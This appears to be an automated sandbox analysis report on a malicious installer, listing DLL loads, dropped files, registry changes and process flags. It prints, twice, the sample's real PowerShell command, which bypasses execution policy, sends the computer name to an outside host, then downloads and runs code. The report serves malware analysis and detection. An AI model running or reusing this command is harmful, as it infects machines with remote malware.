Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: avifil32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: installer_1.05_36.4.exe

Static file information: File size 1084064 > 1048576

Source: installer_1.05_36.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2282601068.00000000029DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: vsv_tool.exe, 00000031.00000002.3215135014.0000000043DF9000.00000004.00000020.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3224689649.0000000044150000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: vsv_tool.exe, 00000031.00000002.3215135014.0000000043DF9000.00000004.00000020.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3224689649.0000000044150000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2287601000.0000000006F95000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2287601000.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2287601000.0000000006F95000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;			Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: MFL715GTQ6VLUD404.tmp.19.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c
Source: installer_1.05_36.4.exe	Static PE information: real checksum: 0x10f683 should be: 0x1145f0
Source: MFL715GTQ6VLUD404.tmp.21.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c

Source: MFL715GTQ6VLUD404.exe.11.dr	Static PE information: section name: .didata
Source: MFL715GTQ6VLUD404.tmp.19.dr	Static PE information: section name: .didata
Source: MFL715GTQ6VLUD404.tmp.21.dr	Static PE information: section name: .didata

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0024C505 push 74000000h; iretd	49_2_0024C50D
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0024C008 push ecx; mov dword ptr [esp], edx	49_2_0024C00C
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0024C068 push ecx; mov dword ptr [esp], edx	49_2_0024C06C
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0024C384 push 0024C3B0h; ret	49_2_0024C3A8
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_005B8F56 pushfd ; iretd	49_2_005B8F8B

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File created: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	File created: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\is-FT7JP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	File created: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
